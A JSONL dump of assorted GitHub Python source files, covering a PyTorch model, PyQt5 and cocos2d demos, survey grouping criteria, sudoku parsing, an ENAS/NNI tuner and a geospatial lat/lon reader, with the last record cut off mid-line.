self.hidden_size = hidden_size\n self.lstm = nn.LSTM(input_size=input_size,\n hidden_size=hidden_size,\n num_layers=num_layers,\n batch_first=True,\n dropout=dropout)\n self.mlp = nn.Sequential(\n nn.Linear(input_size+hidden_size, 1024),\n nn.ReLU(),\n nn.Linear(1024, 128),\n nn.ReLU(),\n nn.Linear(128, 3),\n nn.Softmax()\n )\n\n\n def forward(self, encodings, comodin):\n output, (hn, cn) = self.lstm(encodings)\n if output.size()[1] > 1:\n #print(output[-1][-2], output[-1][-2].size())\n #print(encodings.size())\n #exit(1)\n a = torch.cat([output[-1][-2], encodings[-1][-1]])\n else:\n a = torch.cat([comodin, encodings[-1][-1]]) \n out = self.mlp(a)\n return out","repo_name":"thvadora/Thesis","sub_path":"code/Oracle/models/mixLL.py","file_name":"mixLL.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"32620926929","text":"import sys\nimport os\nimport json\n\ncwd = os.getcwd()\nsys.path.insert(0, os.path.join(cwd, \"..\", \"commons\"))\n\n\nclass Measurement:\n\n def __init__(self, timestamp, bssid, distance, ground_truth, ap_location,source='synthetic',exp='EXP_None'):\n self.timestamp = timestamp\n self.bssid = bssid\n self.distance = distance\n self.ground_truth = ground_truth\n self.ap_location = ap_location \n self.source = source\n self.exp= exp\n def __repr__(self):\n return (f\"Timestamp: {self.timestamp:.1f}, BSSID: {self.bssid}, Distance: {self.distance:.2f}, Ground Truth Distance: {self.ground_truth}, Source: {self.source}, EXP: {self.exp}\")\n","repo_name":"zub4t/client-augmanit","sub_path":"Measurement.py","file_name":"Measurement.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"72965892378","text":"import cocos\n\nfrom cocos.director import director\n\nclass VerTexto(cocos.layer.Layer):\n def __init__(self):\n super().__init__()\n mi_etiqueta = cocos.text.Label('Visualización de un texto simple',\n font_name = 'Arial',\n font_size = 18,\n anchor_x = 'center', anchor_y = 'center')\n\n mi_etiqueta.position = (320, 240)\n self.add(mi_etiqueta)\n\n\nif __name__ == '__main__':\n cocos.director.director.init()\n capa_texto = VerTexto()\n escena_principal = cocos.scene.Scene(capa_texto)\n cocos.director.director.run(escena_principal)","repo_name":"ivanmiguelmolinero/Python2D","sub_path":"Capitulo1/ejemplo_sencillo_1.py","file_name":"ejemplo_sencillo_1.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"19683382694","text":"from __future__ import annotations\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from survey import Question, Answer\n\n\nclass InvalidAnswerError(Exception):\n \"\"\"Error that should be raised when an answer is invalid for a given\n question.\n \"\"\"\n\n\nclass Criterion:\n \"\"\"An abstract class representing a criterion used to evaluate the quality\n of a group based on the group members' answers for a given question.\n \"\"\"\n\n def score_answers(self, question: Question, answers: list[Answer]) -> float:\n \"\"\"Return score between 0.0 and 1.0 indicating how well the group\n of to the question satisfy this Criterion.\n\n Raise InvalidAnswerError if any answer in is not a valid\n answer to .\n\n Each implementation of this abstract class will measure satisfaction of\n a criterion differently.\n \"\"\"\n raise NotImplementedError\n\n def _all_valid_answers(self, question: Question,\n answers: list[Answer]) -> bool:\n \"\"\"Return true iff all answers in answers are valid answer to\n question, return False otherwise.\n \"\"\"\n for answer in answers:\n if not answer.is_valid(question):\n return False\n return True\n\n\nclass HomogeneousCriterion(Criterion):\n # make this a child class of another class defined in this file\n \"\"\"A criterion used to evaluate the quality of a group based on the group\n members' answers for a given question.\n\n This criterion gives a higher score to answers that are more similar.\n \"\"\"\n\n def _get_similarity_score(self, question: Question,\n answers: list[Answer]) -> float:\n \"\"\"Return the average of similarity score of all paired\n combinations of answers in answers to question.\n\n Precondition: all answer in answers are valid to question.\n len(answers) >= 1\n \"\"\"\n if len(answers) == 1:\n return 1.0\n else:\n combination_lst = []\n for po1 in range(len(answers)):\n for po2 in range(po1 + 1, len(answers)):\n answer_pair = (answers[po1], answers[po2])\n combination_lst.append(answer_pair)\n total_similarity = sum([question.get_similarity(tup[0], tup[1])\n for tup in combination_lst])\n return total_similarity / len(combination_lst)\n\n def score_answers(self, question: Question, answers: list[Answer]) -> float:\n \"\"\"Return a score between 0.0 and 1.0 indicating how similar the\n answers in are.\n\n This score is calculated by finding the similarity of every combination\n of two answers in and taking the average of all of these\n similarity scores.\n * Don't include a pair of answers twice while finding the\n similarity scores. For example, don't compare answer 1 and\n answer 2, then later compare answer 2 and answer 1.\n * Don't compare an answer with itself while computing the similarity\n scores.\n * Don't do any rounding.\n If there is only one answer in and it is valid, return 1.0\n since a single answer is always identical to itself.\n\n Raise InvalidAnswerError if any answer in is not a valid\n answer to .\n\n Preconditions:\n - len(answers) > 0\n \"\"\"\n # implement this method or remove it (to inherit it as is)\n if not self._all_valid_answers(question, answers):\n raise InvalidAnswerError\n else:\n return self._get_similarity_score(question, answers)\n\n\nclass HeterogeneousCriterion(HomogeneousCriterion):\n # make this a child class of another class defined in this file\n \"\"\"A criterion used to evaluate the quality of a group based on the group\n members' answers for a given question.\n\n This criterion gives a higher score to answers that are more different.\n \"\"\"\n\n def score_answers(self, question: Question, answers: list[Answer]) -> float:\n \"\"\"Return a score between 0.0 and 1.0 indicating how different the\n answers in are.\n\n This score is calculated by finding the similarity of every\n combination of two answers in , finding the average of all\n of these similarity scores, and then subtracting this average from 1.0\n * Don't include a pair of answers twice while finding the\n similarity scores. For example, don't compare answer 1 and\n answer 2, then later compare answer 2 and answer 1.\n * Don't compare an answer with itself while computing the similarity\n scores.\n * Don't do any rounding.\n If there is only one answer in and it is valid, return 0.0\n since a single answer is never different from itself.\n\n Raise InvalidAnswerError if any answer in is not a valid\n answer to .\n\n Preconditions:\n - len(answers) > 0\n \"\"\"\n # implement this method or remove it (to inherit it as is)\n if not self._all_valid_answers(question, answers):\n raise InvalidAnswerError\n else:\n return 1.0 - self._get_similarity_score(question, answers)\n\n\nclass LonelyMemberCriterion(Criterion):\n # make this a child class of another class defined in this file\n \"\"\"A criterion used to measure the quality of a group of students\n according to the group members' answers to a question.\n\n This criterion gives a higher score to a group if no member of the group\n gives a unique answer to a question, that is, an answer that no other\n member gave.\n\n This criterion could be used, for example, to avoid putting a student into\n a group where they are the only one from their college.\n \"\"\"\n\n def _has_unique_content(self, answers: list[Answer]) -> float:\n \"\"\"Return True iff there exists answer with unique content in\n answers, return False otherwise.\n\n Precondition: all answer in answers are valid.\n \"\"\"\n content_lst = [answer.content for answer in answers]\n for content in content_lst:\n if content_lst.count(content) == 1:\n return True\n return False\n\n def score_answers(self, question: Question, answers: list[Answer]) -> float:\n \"\"\"Return score between 0.0 and 1.0 indicating the quality of the group\n of to the question .\n\n The score returned will be 0.0 iff there are any unique answers in\n and will be 1.0 otherwise. An answer is unique if there is\n no other answer in with identical content. If there is only\n one answer in and it is valid, return 0.0 since the student\n with that answer is by definition the only one with that answer in the\n group.\n\n Raise InvalidAnswerError if any answer in is not a valid\n answer to .\n\n Preconditions:\n - len(answers) > 0\n \"\"\"\n # implement this method or remove it (to inherit it as is)\n if not self._all_valid_answers(question, answers):\n raise InvalidAnswerError\n else:\n if self._has_unique_content(answers):\n return 0.0\n else:\n return 1.0\n\n\nif __name__ == '__main__':\n import python_ta\n\n python_ta.check_all(config={'extra-imports': ['typing',\n 'survey',\n 'E9992'],\n 'disable': ['E9992']})\n","repo_name":"Bilin22/Forming-Optimal-Groups","sub_path":"criterion.py","file_name":"criterion.py","file_ext":"py","file_size_in_byte":7787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"73510207255","text":"# Parameterized Constructor\n\nclass Product:\n quantity = 0\n color = 'None'\n \n # Constructor Type => Parameterized\n def __init__(self, qty, clr):\n print(\"Demo for parametrized constructor\")\n self.quantity = qty\n self.color = clr\n\n def display(self):\n print(\"The value of quantity : \", self.quantity)\n print(\"The value of color : \", self.color)\n\nobj1 = Product(10, 'Red') # First Object created with parameters\nobj1.display()\nobj2 = Product(7, 'Blue') # Second Object created with parameters\nobj2.display()\n","repo_name":"bpbpublications/Learn-Python-for-Students","sub_path":"Chapter 05/Example-6 Parameterized Constructor.py","file_name":"Example-6 Parameterized Constructor.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"17547471575","text":"import sys\n\nfrom PIL import Image\n\n\ndef get_image() -> Image:\n if len(sys.argv) < 2:\n print('Please enter image path!')\n\n path = sys.argv[1]\n\n return Image.open(path)\n\n\ndef get_ascii(image: Image) -> str:\n width, height = image.size\n string = ''\n\n for i in range(width):\n for j in range(height):\n position = (i, j)\n pixel = image.getpixel(position)\n\n if pixel[0] > 150 and pixel[1] > 150 and pixel[2] > 150:\n string += '.'\n else:\n string += ' '\n\n string += '\\n'\n\n return string\n\n\ndef main():\n image = get_image()\n string = get_ascii(image)\n\n with open('output.txt', 'w') as file:\n file.write(string)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Pincaptain/asciify","sub_path":"asciify.py","file_name":"asciify.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"6372055006","text":"import cv2 as cv\nimport os\n\n# Fungsi mengubah suatu input gambar menjadi matriks.\n# Gambar dijadikan grayscale, mengembalikan matriks\n# I.S. file gambar\n# F.S. gambar menjadi grayscale, mengembalikan gambar\ndef ImgToMatrix(filename):\n # membuat gambar menjadi grayscale\n img = cv.imread(filename)\n img = cv.resize(img, (256,256),interpolation = cv.INTER_AREA)\n _grey = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n _grey = _grey.reshape(65536,1)\n return _grey\n\ndef DataSetToMatrix(dir):\n S = []\n FileNames = []\n for filename in os.listdir(dir):\n temp = ImgToMatrix(f'{dir}/{filename}')\n S += [temp]\n FileNames += [filename]\n return S, FileNames\n\ndef getAllDir():\n S = []\n dir = '../datasets'\n for filename in os.listdir(dir):\n S += [filename]\n return S\n\ndef FolderToMatrix(dir):\n S = []\n for i in range(len(dir)):\n temp = DataSetToMatrix(f'../datasets/{dir[i]}')\n S += [temp]\n return S\n\n\"\"\" S = getAllDir()\narr = FolderToMatrix(S)\nprint(arr) \"\"\"","repo_name":"IceTeaXXD/Algeo02-21004","sub_path":"src/InputImage.py","file_name":"InputImage.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"18576587574","text":"SAMPLE_SANS_INPUT = \"example.org,test.onap.org,onap@onap.org,127.0.0.1,2001:0db8:85a3:0000:0000:8a2e:0370:7334,onap://cluster.local/\"\n\n\ndef test_parse_dns_name():\n from k8sclient.sans_parser import SansParser\n result = SansParser().parse_sans(SAMPLE_SANS_INPUT)\n dnss_array = result[\"dnss\"]\n assert len(dnss_array) == 2\n assert assert_item_in_list(\"example.org\", dnss_array)\n\n\ndef test_parse_ips():\n from k8sclient.sans_parser import SansParser\n result = SansParser().parse_sans(SAMPLE_SANS_INPUT)\n ips_array = result[\"ips\"]\n assert len(ips_array) == 2\n assert assert_item_in_list(\"127.0.0.1\", ips_array)\n assert assert_item_in_list(\"2001:0db8:85a3:0000:0000:8a2e:0370:7334\", ips_array)\n\n\ndef test_parse_emails():\n from k8sclient.sans_parser import SansParser\n result = SansParser().parse_sans(SAMPLE_SANS_INPUT)\n emails_array = result[\"emails\"]\n assert len(emails_array) == 1\n assert assert_item_in_list(\"onap@onap.org\", emails_array)\n\n\ndef test_parse_uri():\n from k8sclient.sans_parser import SansParser\n result = SansParser().parse_sans(SAMPLE_SANS_INPUT)\n uris_array = result[\"uris\"]\n assert len(uris_array) == 1\n assert assert_item_in_list(\"onap://cluster.local/\", uris_array)\n\n\ndef assert_item_in_list(item, list):\n if item in list:\n return True\n else:\n return False\n","repo_name":"onap/dcaegen2-platform-plugins","sub_path":"k8s/tests/test_sans_parser.py","file_name":"test_sans_parser.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"27050953745","text":"#!/usr/bin/env python3\n\"\"\"Tests for core_utils.string_utils.\"\"\"\n\nimport unittest\n\nimport core_utils.string_utils as su\n\n\nclass TestStringUtils(unittest.TestCase):\n \"\"\"Tests for string utilities.\"\"\"\n\n def test_make_random_str(self):\n \"\"\"Test that we can make a randomer string.\"\"\"\n\n str_len = 9\n prefix = \"woohoo\"\n obs = su.make_random_str(str_len, prefix)\n self.assertTrue(obs.startswith(prefix) and len(obs) == len(prefix) + str_len)\n\n def test_make_unique_ids(self):\n \"\"\"Test that we can make a set of unique IDs.\"\"\"\n\n n_ids = 5\n obs = su.make_unique_ids(n_ids)\n self.assertEqual(len(obs), n_ids)\n\n def test_is_number_positive(self):\n \"\"\"Test that we can identify cast-able strings.\"\"\"\n\n test_numbers = [\"1.0\", \"2\", \".3\"]\n obs = [su.is_number(n) for n in test_numbers]\n self.assertTrue(all(obs))\n\n def test_is_number_negative(self):\n \"\"\"Test that we can identify non-cast-able strings.\"\"\"\n\n non_number = \"A\"\n obs = su.is_number(non_number)\n self.assertFalse(obs)\n","repo_name":"ijhoskins/satmut_utils","sub_path":"src/tests/core_utils/test_string_utils.py","file_name":"test_string_utils.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"72265068376","text":"from sudoku.reader.sudokuparser import SudokuParser\nfrom sudoku.reader.exception.fileformaterror import FileFormatError\n\nclass CommandLineParser(SudokuParser):\n\tdef parse_puzzle(self, parameter):\n\t\treturn self.parse(self.scan(parameter))\n\n\tdef scan(self, param):\n\t\tif param.rfind('.') != -1:\n\t\t\traise FileFormatError(\"Invalid file format. A '{}' file was not expected.\".format(param[param.rfind('.'):]))\n\t\telif len(param) != (len(self.row_labels) * len(self.column_labels)):\n\t\t\traise SyntaxError(self.error_messages['invalid_number_of_rows_and_columns'])\n\t\telif param.find(' ') != -1 or param.find('\\t') != -1:\n\t\t\traise SyntaxError(self.error_messages['input_contains_whitespaces'])\n\t\telif not param.isdigit():\n\t\t\traise SyntaxError(self.error_messages['input_contains_invalid_chars'])\n\t\telse:\n\t\t\treturn list(param.replace('0', '.'))\n","repo_name":"pysudoku/sudoku","sub_path":"src/sudoku/reader/commandlineparser.py","file_name":"commandlineparser.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"26223832615","text":"'''\n247-QDialog-信号\n\naccepted()\nfinished(int result)\nrejected()\n'''\nimport sys\n\nfrom PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QDialog\n\n\nclass Window(QWidget):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setWindowTitle('247-QDialog-信号')\n self.resize(1000, 500)\n\n d = QDialog(self)\n\n btn1 = QPushButton(d)\n btn1.move(10, 10)\n btn1.setText('确认')\n btn1.clicked.connect(lambda: d.accept())\n\n btn2 = QPushButton(d)\n btn2.move(10, 60)\n btn2.setText('取消')\n btn2.clicked.connect(lambda: d.reject())\n\n btn3 = QPushButton(d)\n btn3.move(10, 110)\n btn3.setText('其他')\n btn3.clicked.connect(lambda: d.done(3))\n\n d.accepted.connect(lambda: print('点击了确认按钮'))\n d.rejected.connect(lambda: print('点击了取消按钮'))\n d.finished.connect(lambda val: print('点击了完成按钮', val))\n\n d.show()\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n\n window = Window()\n window.show()\n\n sys.exit(app.exec_())\n","repo_name":"anyuhanfei/study_PyQt5","sub_path":"244-247-QDialog/247-QDialog-信号.py","file_name":"247-QDialog-信号.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"17653199461","text":"import DBConnection as DB\r\nfrom models import furniture as FPY\r\nfrom models import customer as CPY\r\n\r\nclass IKEAController():\r\n\r\n @staticmethod\r\n def getFurnitureName():\r\n try:\r\n listOfFurniture = []\r\n\r\n conn = DB.DBConnection.getConnection()\r\n cur = conn.cursor()\r\n cur.execute(\"SELECT * FROM ikea.furniture\")\r\n for row in cur:\r\n furniturename= FPY.Furniture(row[0], row[1]) #furniture_id, furniture_name\r\n listOfFurniture.append(furniturename)\r\n return listOfFurniture\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n conn.close()\r\n\r\n @staticmethod\r\n def getCustomer(customerID):\r\n try:\r\n listOfCustomer = []\r\n\r\n conn = DB.DBConnection.getConnection()\r\n cur = conn.cursor()\r\n cur.execute(\"SELECT * FROM ikea.customer WHERE customerID = %s\", (customerID))\r\n for row in cur:\r\n customers = CPY.customer(row[0], row[1],row[2],row[3]) #customer_id, customer_name, customer_address, customer_phonenr\r\n listOfCustomer.append(customers)\r\n return listOfCustomer\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n conn.close()","repo_name":"adamkfwn/leasing","sub_path":"ikeapy/Controllers/FurnitureController.py","file_name":"FurnitureController.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"42245058289","text":"from django.test import TestCase\nfrom core_admin.models import User\nfrom django.utils.timezone import make_aware\nimport datetime\n\nclass UserTestCase(TestCase):\n\n\tdatabases = ['app']\n\n\tdef setUp(self):\n\t\tnow = make_aware(datetime.datetime.now())\n\t\tUser.objects.create(\n\t\t\tname_first = \"john\",\n\t\t\tcreated_at = now,\n\t\t\tupdated_at = now,\n\t\t)\n\n\tdef test_name(self):\n\t\t\"\"\"Basic user model test\"\"\"\n\t\tu1 = User.objects.get(name_first = \"john\")\n\t\tself.assertEqual(u1.name_first, 'john')\n","repo_name":"dimvrco/qa-task-1-master","sub_path":"app/core_admin/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"31313425527","text":"#!/usr/bin/env python2\nimport nidaqmx\nimport time\ntask_write = nidaqmx.Task()\ntask_write.ao_channels.add_ao_voltage_chan('Dev1/ao0','mychannel',0,5)\ntask_write.start()\n#task_read = nidaqmx.Task()\n#task_read.ai_channels.add_ai_voltage_chan(\"Dev1/ai0\")\n#task_read.start()\nstart=0; stop=6; increment=1\nfor k in range(start, stop, increment):\n\tvalue = k\n\tif value>5:\n\t\tvalue=5\n\ttask_write.write(value)\n\ttime.sleep(1)\n#\tvalue = task_read.read()\n#\tprint(round(value,2))\ntask_write.stop()\ntask_write.close()\n#task_read.stop()\n#task_read.close()","repo_name":"sglashkari/tracker","sub_path":"python/daq_ramp.py","file_name":"daq_ramp.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"70321774937","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport shutil\nimport sys\nimport time\nimport logging\nimport tensorflow as tf\nimport fcntl\nimport src.utils\nfrom src.utils import Logger\nfrom src.cifar10.general_controller import GeneralController\nfrom src.cifar10.micro_controller import MicroController\nfrom src.nni_controller import ENASBaseTuner\nfrom src.cifar10_flags import *\n\n\ndef build_logger(log_name):\n logger = logging.getLogger(log_name)\n logger.setLevel(logging.DEBUG)\n fh = logging.FileHandler(log_name+'.log')\n fh.setLevel(logging.DEBUG)\n logger.addHandler(fh)\n return logger\n\n\nlogger = build_logger(\"nni_controller_cifar10\")\n\n\ndef BuildController(ControllerClass):\n controller_model = ControllerClass(\n search_for=FLAGS.search_for,\n search_whole_channels=FLAGS.controller_search_whole_channels,\n skip_target=FLAGS.controller_skip_target,\n skip_weight=FLAGS.controller_skip_weight,\n num_cells=FLAGS.child_num_cells,\n num_layers=FLAGS.child_num_layers,\n num_branches=FLAGS.child_num_branches,\n out_filters=FLAGS.child_out_filters,\n lstm_size=64,\n lstm_num_layers=1,\n lstm_keep_prob=1.0,\n tanh_constant=FLAGS.controller_tanh_constant,\n op_tanh_reduce=FLAGS.controller_op_tanh_reduce,\n temperature=FLAGS.controller_temperature,\n lr_init=FLAGS.controller_lr,\n lr_dec_start=0,\n lr_dec_every=1000000, # never decrease learning rate\n l2_reg=FLAGS.controller_l2_reg,\n entropy_weight=FLAGS.controller_entropy_weight,\n bl_dec=FLAGS.controller_bl_dec,\n use_critic=FLAGS.controller_use_critic,\n optim_algo=\"adam\",\n sync_replicas=FLAGS.controller_sync_replicas,\n num_aggregate=FLAGS.controller_num_aggregate,\n num_replicas=FLAGS.controller_num_replicas)\n\n return controller_model\n\n\ndef get_controller_ops(controller_model):\n \"\"\"\n Args:\n images: dict with keys {\"train\", \"valid\", \"test\"}.\n labels: dict with keys {\"train\", \"valid\", \"test\"}.\n \"\"\"\n\n controller_ops = {\n \"train_step\": controller_model.train_step,\n \"loss\": controller_model.loss,\n \"train_op\": controller_model.train_op,\n \"lr\": controller_model.lr,\n \"grad_norm\": controller_model.grad_norm,\n \"valid_acc\": controller_model.valid_acc,\n \"optimizer\": controller_model.optimizer,\n \"baseline\": controller_model.baseline,\n \"entropy\": controller_model.sample_entropy,\n \"sample_arc\": controller_model.sample_arc,\n \"skip_rate\": controller_model.skip_rate,\n }\n\n return controller_ops\n\n\nclass ENASTuner(ENASBaseTuner):\n\n def __init__(self, macro_str):\n\n if macro_str == \"macro\":\n self.Is_macro = True\n macro_init()\n else:\n self.Is_macro = False\n micro_init()\n\n logger.debug('Parse parameter done.')\n logger.debug(macro_str)\n\n self.child_totalsteps = (FLAGS.train_data_size + FLAGS.batch_size - 1) // FLAGS.batch_size\n\n self.controller_total_steps = FLAGS.controller_train_steps * FLAGS.controller_num_aggregate\n logger.debug(\"child steps:\\t\"+str(self.child_totalsteps))\n logger.debug(\"controller step\\t\"+str(self.controller_total_steps))\n\n self.epoch = 0\n\n if FLAGS.search_for == \"micro\":\n ControllerClass = MicroController\n else:\n ControllerClass = GeneralController\n self.controller_model = BuildController(ControllerClass)\n\n self.graph = tf.Graph()\n\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.1)\n config = tf.ConfigProto(allow_soft_placement=True, gpu_options=gpu_options)\n\n self.controller_model.build_trainer()\n self.controller_ops = get_controller_ops(self.controller_model)\n\n hooks = []\n if FLAGS.controller_training and FLAGS.controller_sync_replicas:\n sync_replicas_hook = self.controller_ops[\"optimizer\"].make_session_run_hook(True)\n hooks.append(sync_replicas_hook)\n\n self.sess = tf.train.SingularMonitoredSession(\n config=config, hooks=hooks, checkpoint_dir=FLAGS.output_dir)\n logger.debug('initlize controller_model done.')\n\n\n def generate_parameters(self, parameter_id, trial_job_id=None):\n\n if self.Is_macro:\n child_arc = self.get_controller_arc_macro(self.controller_total_steps)\n self.epoch = self.epoch + 1\n return child_arc\n else:\n normal_arc,reduce_arc = self.get_controller_arc_micro(self.controller_total_steps)\n result_arc = normal_arc\n result_arc.extend(reduce_arc)\n self.epoch = self.epoch + 1\n return result_arc\n\n\n def get_controller_arc_micro(self, child_totalsteps):\n normal_arc = []\n reduce_arc = []\n for _ in range(0, child_totalsteps):\n arc1, arc2 = self.sess.run(self.controller_model.sample_arc)\n normal_arc.append(arc1)\n reduce_arc.append(arc2)\n return normal_arc,reduce_arc\n\n\n def controller_one_step(self, epoch, valid_acc_arr):\n logger.debug(\"Epoch {}: Training controller\".format(epoch))\n\n for ct_step in range(FLAGS.controller_train_steps * FLAGS.controller_num_aggregate):\n run_ops = [\n self.controller_ops[\"loss\"],\n self.controller_ops[\"entropy\"],\n self.controller_ops[\"lr\"],\n self.controller_ops[\"grad_norm\"],\n self.controller_ops[\"valid_acc\"],\n self.controller_ops[\"baseline\"],\n self.controller_ops[\"skip_rate\"],\n self.controller_ops[\"train_op\"],\n ]\n\n loss, entropy, lr, gn, val_acc, bl, _, _ = self.sess.run(run_ops, feed_dict={\n self.controller_model.valid_acc: valid_acc_arr[ct_step]})\n\n controller_step = self.sess.run(self.controller_ops[\"train_step\"])\n\n if ct_step % FLAGS.log_every == 0:\n\n log_string = \"\"\n log_string += \"ctrl_step={:<6d}\".format(controller_step)\n log_string += \" loss={:<7.3f}\".format(loss)\n log_string += \" ent={:<5.2f}\".format(entropy)\n log_string += \" lr={:<6.4f}\".format(lr)\n log_string += \" |g|={:<8.4f}\".format(gn)\n log_string += \" acc={:<6.4f}\".format(val_acc)\n log_string += \" bl={:<5.2f}\".format(bl)\n log_string += \" child acc={:<5.2f}\".format(valid_acc_arr[ct_step])\n logger.debug(log_string)\n return\n\n\n def receive_trial_result(self, parameter_id, parameters, reward, trial_job_id):\n logger.debug(\"epoch:\\t\"+str(self.epoch))\n logger.debug(parameter_id)\n logger.debug(reward)\n valid_acc_arr = reward\n self.controller_one_step(self.epoch, valid_acc_arr)\n return\n\n\n def update_search_space(self, data):\n\n pass\n\n\nif __name__ == \"__main__\":\n tf.app.run()\n","repo_name":"countif/enas_nni","sub_path":"nni/examples/tuners/enas/nni_controller_cifar10.py","file_name":"nni_controller_cifar10.py","file_ext":"py","file_size_in_byte":7113,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"68"} +{"seq_id":"2695919777","text":"import numpy as np\nimport os\n\nfrom RAiDER.demdownload import download_dem\nfrom RAiDER.utilFcns import gdal_open\n\ndef readLL(*args):\n '''\n Parse lat/lon/height inputs and return\n the appropriate outputs\n '''\n if len(args)==2:\n flag='files'\n elif len(args)==4:\n flag='bounding_box'\n elif len(args)==1:\n flag = 'station_list'\n else:\n raise RuntimeError('llreader: Cannot parse args')\n\n # Lats/Lons\n if flag=='files':\n # If they are files, open them\n lat, lon = args\n lats, latproj, lat_gt = gdal_open(lat, returnProj = True)\n lons, lonproj, lon_gt = gdal_open(lon, returnProj = True)\n elif flag=='bounding_box':\n N,W,S,E = args\n lats = np.array([float(N), float(S)])\n lons = np.array([float(E), float(W)])\n latproj = lonproj = 'EPSG:4326'\n if (lats[0] == lats[1]) | (lons[0]==lons[1]):\n raise RuntimeError('You have passed a zero-size bounding box: {}'\n .format(args.bounding_box))\n elif flag=='station_list':\n lats, lons = readLLFromStationFile(*args)\n latproj = lonproj = 'EPSG:4326'\n else:\n # They'll get set later with weather\n lats = lons = None\n latproj = lonproj = None\n #raise RuntimeError('readLL: unknown flag')\n\n [lats, lons] = enforceNumpyArray(lats, lons)\n\n return lats, lons, latproj, lonproj\n\n\ndef getHeights(lats, lons,heights, demFlag = 'dem', useWeatherNodes = False):\n '''\n Fcn to return heights from a DEM, either one that already exists\n or will download one if needed.\n '''\n height_type, height_data = heights\n in_shape = lats.shape\n\n if height_type == 'dem':\n try:\n hts = gdal_open(height_data)\n except:\n print('WARNING: File {} could not be opened; requires GDAL-readable file. \\n'.format(height_data))\n print('Proceeding with DEM download')\n height_type = 'download'\n\n elif height_type == 'lvs':\n if useWeatherNodes:\n hts = height_data\n else:\n hts = height_data\n latlist, lonlist, hgtlist = [], [], []\n for ht in hts:\n latlist.append(lats.flatten())\n lonlist.append(lons.flatten())\n hgtlist.append(np.array([ht]*len(lats.flatten())))\n lats = np.array(latlist).reshape(in_shape + (len(height_data),))\n lons = np.array(lonlist).reshape(in_shape + (len(height_data),))\n hts = np.array(hgtlist).reshape(in_shape + (len(height_data),))\n\n elif height_type == 'merge':\n import pandas as pd\n for f in height_data:\n data = pd.read_csv(f)\n lats = data['Lat'].values\n lons = data['Lon'].values\n hts = download_dem(lats, lons, outName = f, save_flag = 'merge')\n else:\n height_type = 'download'\n \n if height_type == 'download':\n hts = download_dem(lats, lons, outName = os.path.abspath(height_data))\n\n [lats, lons, hts] = enforceNumpyArray(lats, lons, hts)\n\n return lats, lons, hts\n\n\ndef setGeoInfo(lat, lon, latproj, lonproj, outformat):\n # TODO: implement\n # set_geo_info should be a list of functions to call on the dataset,\n # and each will do some bit of work\n set_geo_info = list()\n if lat is not None:\n def geo_info(ds):\n ds.SetMetadata({'X_DATASET': os.path.abspath(lat), 'X_BAND': '1',\n 'Y_DATASET': os.path.abspath(lon), 'Y_BAND': '1'})\n set_geo_info.append(geo_info)\n # Is it ever possible that lats and lons will actually have embedded\n # projections?\n if latproj:\n if outformat != 'h5':\n def geo_info(ds):\n ds.SetProjection(latproj)\n else:\n geo_info = None\n elif lonproj:\n def geo_info(ds):\n ds.SetProjection(lonproj)\n set_geo_info.append(geo_info)\n\n return set_geo_info\n\n\ndef enforceNumpyArray(*args):\n '''\n Enforce that a set of arguments are all numpy arrays. \n Raise an error on failure.\n '''\n return [checkArg(a) for a in args]\n\ndef checkArg(arg):\n\n if arg is None:\n return None\n else:\n import numpy as np\n try:\n return np.array(arg)\n except:\n raise RuntimeError('checkArg: Cannot covert argument to numpy arrays')\n\n\ndef readLLFromStationFile(fname):\n '''\n Helper fcn for checking argument compatibility\n '''\n try:\n import pandas as pd\n stats = pd.read_csv(fname)\n return stats['Lat'].values,stats['Lon'].values\n except:\n lats, lons = [], []\n with open(fname, 'r') as f:\n for i, line in enumerate(f): \n if i == 0:\n continue\n lat, lon = [float(f) for f in line.split(',')[1:3]]\n lats.append(lat)\n lons.append(lon)\n return lats, 